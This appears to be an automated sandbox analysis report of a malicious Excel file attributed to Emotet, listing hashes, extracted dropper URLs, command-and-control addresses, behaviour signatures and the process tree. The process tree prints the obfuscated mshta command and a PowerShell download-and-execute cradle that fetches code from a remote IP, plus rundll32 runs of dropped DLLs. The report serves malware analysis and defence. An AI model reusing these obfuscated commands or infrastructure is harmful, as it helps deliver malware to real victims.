Analysis

  • max time kernel
    137s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20-01-2022 15:12

General

  • Target

    5edd92cb2674c2451f0e765f1db01e7d.xls

  • Size

    142KB

  • MD5

    5edd92cb2674c2451f0e765f1db01e7d

  • SHA1

    74f5ca9155b295b0e9db3645e189ba7223d919ed

  • SHA256

    6c993bfdab714689f5b5924440eb9d1289f73941b3784a6b1fe4798ef65ce200

  • SHA512

    16894e09ea4c4afd6bd9c2e0e4f35ec797282279564ee045efc5a6e28c0f3b0379c7c6873a14e3c67974c35668eaeedf28e656722ccf85ca2f92da8d091b30d9

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\5edd92cb2674c2451f0e765f1db01e7d.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:536
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:556
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1108
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:964
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1060
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2016
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:1100
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1588
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gfyrwxg\cmvlclq.lvl",tjEMYXlvUbZn
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:868
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gfyrwxg\cmvlclq.lvl",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1820

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/536-58-0x00000000763B1000-0x00000000763B3000-memory.dmp

      Filesize

      8KB

    • memory/536-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/536-56-0x0000000071AE1000-0x0000000071AE3000-memory.dmp

      Filesize

      8KB

    • memory/536-55-0x000000002F8C1000-0x000000002F8C4000-memory.dmp

      Filesize

      12KB

    • memory/536-117-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/556-59-0x000007FEFC241000-0x000007FEFC243000-memory.dmp

      Filesize

      8KB

    • memory/868-94-0x0000000000260000-0x0000000000286000-memory.dmp

      Filesize

      152KB

    • memory/1060-65-0x00000000023C0000-0x000000000300A000-memory.dmp

      Filesize

      12.3MB

    • memory/1060-64-0x00000000023C0000-0x000000000300A000-memory.dmp

      Filesize

      12.3MB

    • memory/1100-72-0x0000000000670000-0x0000000000696000-memory.dmp

      Filesize

      152KB

    • memory/1588-89-0x0000000002630000-0x0000000002656000-memory.dmp

      Filesize

      152KB

    • memory/1588-92-0x0000000002860000-0x0000000002886000-memory.dmp

      Filesize

      152KB

    • memory/1588-87-0x0000000002510000-0x0000000002536000-memory.dmp

      Filesize

      152KB

    • memory/1588-83-0x00000000022C0000-0x00000000022E6000-memory.dmp

      Filesize

      152KB

    • memory/1820-97-0x0000000000480000-0x00000000004A6000-memory.dmp

      Filesize

      152KB

    • memory/1820-99-0x00000000004F0000-0x0000000000516000-memory.dmp

      Filesize

      152KB

    • memory/1820-101-0x0000000002140000-0x0000000002166000-memory.dmp

      Filesize

      152KB

    • memory/1820-103-0x0000000002380000-0x00000000023A6000-memory.dmp

      Filesize

      152KB

    • memory/1820-105-0x0000000002420000-0x0000000002446000-memory.dmp

      Filesize

      152KB

    • memory/1820-111-0x0000000002870000-0x0000000002896000-memory.dmp

      Filesize

      152KB

    • memory/1820-114-0x00000000029E0000-0x0000000002A06000-memory.dmp

      Filesize

      152KB

    • memory/1820-115-0x0000000002B40000-0x0000000002B66000-memory.dmp

      Filesize

      152KB